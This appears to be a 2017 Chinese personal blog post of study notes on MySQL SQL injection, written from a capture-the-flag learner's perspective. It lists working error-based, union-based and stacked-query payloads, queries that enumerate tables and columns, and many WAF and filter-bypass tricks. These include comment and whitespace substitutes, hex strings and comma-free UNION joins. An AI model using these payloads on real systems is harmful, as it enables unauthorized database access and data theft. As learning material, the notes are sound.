sql注入从入门到入门

Author Avatar
Aryb1n 7月 15, 2017

一直不会SQL注入,感觉师傅注的好熟练
今天学习一下(这是挖了个坑)

常见分类

按照SQLMAP的分类

基于布尔的盲注

基于时间的盲注

基于报错的注入

  • updatexml()
    是利用了xpath syntax error

    mysql> select * from book where type_id = 14 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
    ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
    

    其中这里的~就是0x7e,大概是为了显示更清楚吧

  • extractvalue()
    报错原理同updatexml,所以用法也差不多

    select * from book where type_id = 14 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
    

    区别在于extractvalue的调用方法是extractvalue(arg1, arg2),其中xpatharg2的位置上
    updatexmlupdatexml(arg1, arg2, arg3),其中xpatharg2的位置上

  • floor()
    感觉这个floor还是比前面两个复杂,先上一段payload,算了还是先上几个学习资源吧
    http://www.cnblogs.com/xishaonian/p/6227405.html
    https://www.zhihu.com/question/21031129
    报错需要具备count(*),rand(),group by

基于union的注入

这个就比较常见啦

select n1,n2,n3 from xxx where id = 1 union select null, user(), null

只不过有的时候会有限制显示结果只显示一行,这个时候要控制原来查询不返回结果,比如使用id = -10086 union xxx
需要注意的地方是,类型要匹配,字段数量要匹配
字段类型匹配的问题,可以使用各种相容的null来实现
字段数量的话,可以用order by field-n

select n1,n2,n3 from xxx where id =1 order by n

这个n是按照第n个字段排序,大于查询字段数量的时候会报错

堆叠查询注入

就是拿分号隔开,写多个sql语句,但默认的话
php+mysql不支持堆叠查询
具体支持情况看下面这个链接阔以
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/#StackingQueries
据说好像是php用pdo方式的话好像阔以支持堆叠查询
不过很少用过

注入过程

表名

这样子是一下子爆一个,通过控制limit n, 1里面的n来显示第几条

select table_name from information_schema.tables where table_schema=database() limit 1,1;

下面这个的话,用了group_concat,就可以一下子都搞出来

select group_concat(table_name) from information_schema.tables where table_schema=database();

字段名

select group_concat(column_name) from information_schema.columns where table_name='your_table_name';

更换这个table_name='your_table_name'就可以了,要是过滤掉单引号,可以使用十六进制table_name=0x???

bypass WAF

挖坑,然后填,一点一点积累

条件注释

这个条件注释好像只有mysql可用
/!.../类型注释有两种的/!select//!50000select/
加了版本号的是高于这个版本执行

select from

过滤点常常在于
过滤掉了select from这样子的组合,union select也是一样的
例如

select field,1e0from tables;
select field /*!50000from*/ tables;

其实就是让select from看起来是一个selectxxxfrom

代替空格

空白字符

%09,%0a,%0b,%0c,%0d,%a0

注释

/**/,/*!*/,/*!50000*/

数字

1.0,1e0

NULL

id=\Nunion 这个\NNULL
所以自然也可以放到select这里咯

select\Nfrom(book);

运算符

就是对数字进行运算的+,-,~,!
因为不能使用select1e0from这样子的,虽然1e0from这里没有问题
select1e0这里还是过不去,所以要运算符隔开

select~1e0from(book);

@

这个原理也不太懂好像是mysq的变量
只用@的话,后面没办法去掉空格

select@aa from book;

所以配合\``

select@`type_id`from(book);

但发现,这里的type_id即使是存在的字段,这里也是只会查到NULL,
那这种加上@`` 的使用其实是没啥用??直接用@bypass掉前面的空格不就行了
好像是还有一种

select@^1e0from(book)

这里是由于可以引入数字所以可以bypass掉后面的空格而不报错,当然也可以@^1,但不能搞掉后面的空格
卧槽,我大概疯了,这样子没法用啊,我这后面的内容都只是说这样子写不报错,但有的不能注

下面三个都只能用来括住字段名,表名

括号 ()

这个圆括号好像只能扩住字段

select * from(book);

括号 {}

这个没懂是什么鬼,这里的a换成a-z好像都可以
但好像只能用在字段名这里

select * from{a book}where id = 1;

``

select * from`book`where id = 1;

所以他们可以使用的三个点
{a someting}来举例

select{x id}from{x book}where{x id}=1;

半个中文字符bypass注释

/**/被过滤掉的时候/*e4*/这样子中文字符开始的

函数执行

\version`()`这样子也可以用

过滤掉单引号

用十六进制来bypass

逗号没了

  • limit
    limit 0,1 => limit 1 offset 1
    
  • mid/substr
    mid(database(), 0, 1) => mid(database() from 1 for 1)
    
  • union
    union select * from (select 1)a join (select 2)b jon (select 3)c
    
    这个union处逗号过滤好像是上次DDCTF里用到了这个

这个不知道怎么叫

很多地方都有类似的思想
比如select被替换为空,这个时候就可以SELselectECT
*被替换为空,这个时候不能/**/,不能select *是比较惨,但可以un*ion select
(也不一定绝对可以,看具体逻辑)

unicode

好像只是见于IIS,因为IIS解析unicode的缘故????
这里有个例子

连等

以前有个连等的例子忘记了,是啥
where xxx='1'='0'
等想起来补充吧

过滤了字段名

DDCTF里遇到过滤了news表里的关键字段

select i.4 from (select 1,2,3,4 union select * from news)i

通过一个由join构建的临时表来union我们的news表,得到一个新的临时表i,这样子就能通过临时表i的字段来select出我们要的news表的数据
这里得到的新的表的字段就是1,2,3,4

由于这个题目还过滤了逗号,所以实际上题目这一部分,还要过逗号,用上面的方法就是

select i.4 from (select * from (select 1)e join (select 2)f join (select 3)g join (select 4)h union select * from news)i

就是通过select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d来替换select 1,2,3,4

其他

二次注入

参考链接

https://www.secpulse.com/archives/4213.html (sqlmap使用说明)
http://www.cnblogs.com/REscan/p/7043705.html (偶然看到的,还没看)
http://www.cnblogs.com/r00tgrok/p/SQL_Injection_Bypassing_WAF_And_Evasion_Of_Filter.html (还没看)
https://www.secpulse.com/archives/50067.html
http://rainism-ashes.lofter.com/post/1d19feeb_887d7b6 (这个大佬blog疑似大量干货)